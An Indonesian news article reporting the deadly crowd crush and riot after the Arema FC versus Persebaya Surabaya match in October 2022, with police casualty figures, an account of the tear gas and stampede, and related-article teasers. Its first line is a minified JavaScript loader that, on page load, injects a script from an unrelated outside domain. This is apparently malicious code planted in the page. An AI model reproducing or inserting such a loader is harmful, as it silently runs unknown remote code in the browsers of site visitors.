(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kericuhan suporter terjadi pada pertandingan sepakbola terjadi saat laga Arema FC menghadapi Persebaya Surabaya pada Sabtu (1/10/2022) malam. Sebanyak 129 orang tewas dan ratusan lainnya dirawat di rumah sakit.
Kapolda Jawa Timur Irjen Pol Nico Afinta sebelumnya dalam keterangan resminya pada konfrensi pers di Malang, Minggu (2/10/2022) mengatakan korban meninggal akibat kericuhan tersebut telah berjumlah 127 orang dan bisa jadi terus bertambah karena masih banyak yang dirawat di Rumah Sakit.
“Dalam kejadian tersebut telah meninggal 127 orang, dua di antaranya anggota Polri,” kata Kapolda Jawa Timur Irjen Pol Nico Afinta dilansir dari suara.com mitra kanalkalimantan.com.
Baca juga: UN1TY Jadi Magnet Ribuan Warga Banjarmasin pada Closing Ceremony BSF ke-6
Pada Minggu (2/10/2022) pagi berdasar informasi yang dilansir dari Kompas.com sampai pada pukul 09:00 Wita total korban meninggal sampai saat ini sudah mencapai 129 orang.
Korban jiwa yang meninggal kebanyakan adalah dari suporter Aremania dan salah satu korban meninggal adalah anak-anak. Selain itu, Kapolda Jawa Timur mengatakan 2 orang petugas keamanan juga dikabarkan meninggal dunia pada kericuhan tersebut.
Kedua korban meninggal dunia bernama Brigadir Andik dan Briptu Fajar, kedua Anggota Kepolisian yang menjadi korban tersebut bertugas di Polres Trenggalek.
Angka 127 korban jiwa bisa jadi bertambah karena masih ada 180 orang yang dalam perawatan di rumah sakit, dan berharap tidak ada penambahan korban jiwa.
Baca juga: Xenia ‘Misterius’ Tanpa Nopol Ditinggal Pemilik Usai Terbalik Depan ULM Banjarbaru
“Masih ada 180 orang yang masih dalam perawatan, dari 40 ribu penonton, tidak semua anarkis. Hanya sebagian, sekitar 3.000 penonton turun ke lapangan,” kata Kapolda Jawa Timur dilansir dari Suara.com.
Adapun kronologis kericuhan terjadi saat wasit meniup pluit tanda berakhirnya laga yang berakhir dengan skor 3-2 untuk kemenangan Persebaya Surabaya. Suporter Arema FC yang tidak menerima kekalahan memaksa masuk kelapangan berusaha mengejar para pemain dan official Persebaya Surabaya.
Menurut Irjen Pol Nico Afinta petugas keamanan menembakan gas air mata untuk menghalau ribuan suporter Aremania masuk kelapangan yang membahayakan para official dan pemaian.
Diduga korban meninggal dunia disebabkan banyak yang mengalami sesak napas dan terinjak-injak.
“Karena gas air mata itu, mereka pergi keluar ke satu titik, dipintu keluar. Kemudian terjadi penumpukan dan dalam proses penumpukan itu terjadi sesak napas,” ungkap Kapolda Jatim.
Baca juga: Event Komunitas Penggemar Berat Trail, BRU TRAC Pulas Balantak 6 Dilepas Bupati Tanbu
Sementara itu tercatat sebanyak 13 unit kendaraan yang mengalami kerusakan akibat kerican tersebut, 10 diantaranya merupakan kendaraan Polri.
Kejadian kericuhan yang memakan banyak korban jiwa ini merupakan sejarah kelam bagi dunia persepakbolaan Indonesia bahkan persepakbolaan dunia (kanalkalimantan.com/suara.com/rizki)
Reporter: rizki
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.